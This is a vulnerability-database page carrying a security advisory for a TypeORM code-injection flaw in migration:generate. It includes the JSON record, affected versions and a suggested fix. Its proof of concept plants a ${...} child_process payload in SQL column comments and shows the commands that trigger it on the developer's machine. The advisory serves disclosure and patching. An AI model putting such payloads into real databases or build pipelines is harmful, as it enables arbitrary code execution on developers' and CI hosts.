GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-2RP8-MM9Q-FP49

Vulnerability from github – Published: 2026-07-21 21:59 – Updated: 2026-08-13 18:11
VLAI
Summary
TypeORM: migration:generate template-literal code injection
Details

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

Driver Metadata source Source
Postgres column DEFAULT, COMMENT, CHECK constraints, view definitions PostgresQueryRunner.ts:1782, L1898, L2287, L4125
MySQL/MariaDB COLUMN_DEFAULT, COLUMN_COMMENT MysqlQueryRunner.ts:2873-2974, L3580-3583
CockroachDB Same patterns as Postgres CockroachQueryRunner.ts

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

File Lines Role
MigrationGenerateCommand.ts 117-138 Template-literal construction (sink)
PostgresDriver.ts 1886-1891 escapeComment() — Postgres
MysqlDriver.ts 1322-1328 escapeComment() — MySQL
CockroachDriver.ts 1236-1241 escapeComment() — CockroachDB

Confirmed injection vectors (MySQL):

Vector Result Notes
Column COMMENT Confirmed Proven in PoC below
Column DEFAULT Confirmed Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration
CHECK constraint Not exploitable MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE
View definitions Not tested Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef()

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites: - Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate - The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

  1. Inject payload into schema metadata. Set a column comment or default containing ${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
  1. Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
  1. Inspect the generated file. The output .ts file contains unescaped ${...}:
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
  1. Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "typeorm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "typeorm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:59:23Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.\n\n### Details\n\n`MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:\n\n```typescript\n\"        await queryRunner.query(`\" +\n    upQuery.query.replaceAll(\"`\", \"\\\\`\") +\n    \"`\" + ...\n```\n\nIntrospected schema strings reach this sink through driver query runners:\n\n| Driver | Metadata source | Source |\n|---|---|---|\n| Postgres | column `DEFAULT`, `COMMENT`, `CHECK` constraints, view definitions | [`PostgresQueryRunner.ts:1782`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1782), [`L1898`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1898), [`L2287`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L2287), [`L4125`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L4125) |\n| MySQL/MariaDB | `COLUMN_DEFAULT`, `COLUMN_COMMENT` | [`MysqlQueryRunner.ts:2873-2974`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L2873-L2974), [`L3580-3583`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L3580-L3583) |\n| CockroachDB | Same patterns as Postgres | [`CockroachQueryRunner.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachQueryRunner.ts) |\n\n`escapeComment()` on each driver strips only null bytes, leaving `${...}` intact:\n\n```typescript\nprotected escapeComment(comment?: string) {\n    if (!comment) return comment\n    comment = comment.replaceAll(\"\\u0000\", \"\")\n    return comment\n}\n```\n\nWhen the migration file is loaded (`migration:run`, `import`, or `require`), the JS engine evaluates `${...}` as live interpolation.\n\n**Affected source:**\n\n| File | Lines | Role |\n|---|---|---|\n| [`MigrationGenerateCommand.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/commands/MigrationGenerateCommand.ts#L117-L138) | 117-138 | Template-literal construction (sink) |\n| [`PostgresDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresDriver.ts#L1886-L1891) | 1886-1891 | `escapeComment()` \u2014 Postgres |\n| [`MysqlDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlDriver.ts#L1322-L1328) | 1322-1328 | `escapeComment()` \u2014 MySQL |\n| [`CockroachDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachDriver.ts#L1236-L1241) | 1236-1241 | `escapeComment()` \u2014 CockroachDB |\n\n**Confirmed injection vectors (MySQL):**\n\n| Vector | Result | Notes |\n|---|---|---|\n| Column `COMMENT` | Confirmed | Proven in PoC below |\n| Column `DEFAULT` | Confirmed | Attacker sets `ALTER TABLE ... DEFAULT \u0027${...}\u0027`; payload appears in generated migration |\n| `CHECK` constraint | Not exploitable | MySQL `information_schema.CHECK_CONSTRAINTS` strips content from `CHECK_CLAUSE` |\n| View definitions | Not tested | Requires PostgreSQL `ViewEntity` introspection; likely exploitable via `pg_get_viewdef()` |\n\n**Suggested fix:** Escape `${` to `\\${` (and `\\\\` to `\\\\\\\\`) before embedding query strings into template literals, or switch to emitting the SQL as a `JSON.stringify()`-encoded regular string argument.\n\n### PoC\n\n**Prerequisites:**\n- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running `migration:generate`\n- The attacker has DDL/write access to the database, **or** the application exposes a feature allowing users to set column `COMMENT`, `DEFAULT`, or view definition text\n\n**Steps:**\n\n1. **Inject payload into schema metadata.** Set a column comment or default containing `${...}`:\n\n```sql\n-- PostgreSQL\nCOMMENT ON COLUMN users.name IS \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027;\n\n-- MySQL\nALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027;\n```\n\n2. **Run migration generation** on the developer/CI machine:\n\n```bash\nnpx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration\n```\n\n3. **Inspect the generated file.** The output `.ts` file contains unescaped `${...}`:\n\n```typescript\nexport class NextMigration1234567890 implements MigrationInterface {\n  public async up(queryRunner: QueryRunner): Promise\u003cvoid\u003e {\n    await queryRunner.query(\n      `COMMENT ON COLUMN \"users\".\"name\" IS \u0027${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}\u0027`,\n    );\n  }\n  // ...\n}\n```\n\n4. **Run or revert the migration:**\n\n```bash\nnpx typeorm migration:revert -d ./data-source.ts\n```\n\nOutput confirms code execution \u2014 `id` ran on the host and its output was interpolated into the SQL:\n\n```\nALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT \u0027uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...\u0027\n```\n\nThe payload appears in whichever migration direction restores the DB\u0027s current state. A malicious DB comment with a clean entity comment places it in `down()`. Attacker-influenced entity metadata places it in `up()`. Either direction executes the code when the method runs.\n\n### Impact\n\n**Code injection / RCE.** An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.\n\nCI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running `migration:generate` against a database with attacker-influenced schema metadata is affected.",
  "id": "GHSA-2rp8-mm9q-fp49",
  "modified": "2026-08-13T18:11:20Z",
  "published": "2026-07-21T21:59:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/typeorm/typeorm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/releases/tag/0.3.31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typeorm/typeorm/releases/tag/1.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " TypeORM: migration:generate template-literal code injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…